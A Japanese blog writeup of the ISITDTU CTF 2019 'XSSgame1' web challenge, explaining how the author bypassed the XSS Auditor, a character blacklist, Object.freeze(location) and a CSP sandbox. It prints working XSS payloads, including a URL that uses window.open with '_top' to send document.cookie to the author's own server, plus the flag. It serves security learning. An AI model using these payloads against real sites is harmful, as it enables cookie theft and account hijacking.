こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

ISITDTU CTF 2019 Quals Writeup - XSSgame1

Question

This is a XSS game, Try execute script and get cookie in Chrome 
http://165.22.52.11/XSSGAME1/

f:id:graneed:20190630213907p:plain

Solution

click meのリンクを押下するとhttp://165.22.52.11/XSSGAME1/?pl=xssに遷移する。

HTMLソースは以下の通り。

/*** We prevent change the location ***:
<script>Object.freeze(location);</script>xss<br><script>location='http://xss';</script>

HTTPレスポンスヘッダーは以下の通り。

HTTP/1.1 200 OK
Date: Sun, 30 Jun 2019 12:55:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';sandbox allow-scripts allow-same-origin
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Content-Length: 132
Content-Type: text/html; charset=UTF-8

Bot checkのhereリンクを押下すると、URLを入力する画面に遷移する。 問題文より、plパラメータにcookieを窃取するスクリプトをセットしたURLを入力すれば良さそうだ。

Stage1. XSS Auditorのバイパス

HTTPレスポンスヘッダーにX-XSS-Protection: 1; mode=blockが設定されており、XSS Auditorがblockモードで有効になっているため、plパラメータに単純なXSSペイロードを設定してもNG。

plパラメータに%3Cscript%3Ealert(1)%3C/script%3Eをセットしてソース表示すると、以下のとおりXSS Auditorが反応する。
f:id:graneed:20190630221904p:plain

HTMLソース内に窃取する情報は無いため、最近のCTFでよく出題されるXS-Searchを利用する問題では無さそうだ。

ポイントは、2か所の注入ポイントがある点。以下の@kinugawamasato氏の記事が参考になる。
github.com

そのまま試してみるとNot Allowの表示。backtickの記号がブラックリストに入っているようだ。同様に'(シングルクォーテーション)もNG。ただ、"(ダブルクォーテーション)は許された。

$ curl http://165.22.52.11/XSSGAME1/?pl=%22-alert(1)%3C/script%3E%3Cscript%3E%22

/*** We prevent change the location ***:
<script>Object.freeze(location);</script>"-alert(1)</script><script>"<br><script>location='http://"-alert(1)</script><script>"';</script>

2つ目のscriptタグの最初の"<br><script>location='http://"の部分が文字列として扱われるため、次の-alert(1)がダブルクォーテーション内から脱出できて、実行できる。

しかし、Chromeで実行するとアラートは表示されない。開発者ツールのコンソールを見ると以下の表示。 f:id:graneed:20190630222204p:plain

CSPの設定により、アラート表示ができなかったが、alertの代わりにconsole.logを使用したところ実行できた。

Stage2 Object.freeze(location)のバイパス

最初にObject.freeze(location);が実行されているため、location.href="http://myserver/?q=" + document.cookieのように、location.hrefを使用した画面遷移によるCookie窃取はできない。

CSPのdefault-src 'self';により、iframe、img、XHR等で自サーバにリクエスト発行することもできない。 また、sandboxが設定されており、allow-popupsが許可されていないため、window.openによって新規ウィンドウを開いてリクエスト発行することもできない。

location.href以外に、トップレベルナビゲーションの画面遷移を行う方法を考える。

window.openの第2引数にターゲットを指定できることに着目する。
_blankや適当な文字列を設定すると新規ウィンドウで開くが、_topを指定するとトップフレームを指定できる。その結果、トップレベルナビゲーションによる画面遷移が可能となる。

以下のURLにWebブラウザでアクセスしてみる。
http://165.22.52.11/XSSGAME1/?pl=";window.open("http://myserver/?"%2Bdocument.cookie,"_top")</script><script>"
f:id:graneed:20190630224449p:plain
自サーバ(今回はrequestbin.netを使用)にリクエストが来た。BINGO。

Bot checkの画面で投稿すると、フラグが降ってきた。
f:id:graneed:20190630224542p:plain

フラグゲット
ISITDTU{0274fdcad72fb003e36bb77d9ef2279b3eb3f519}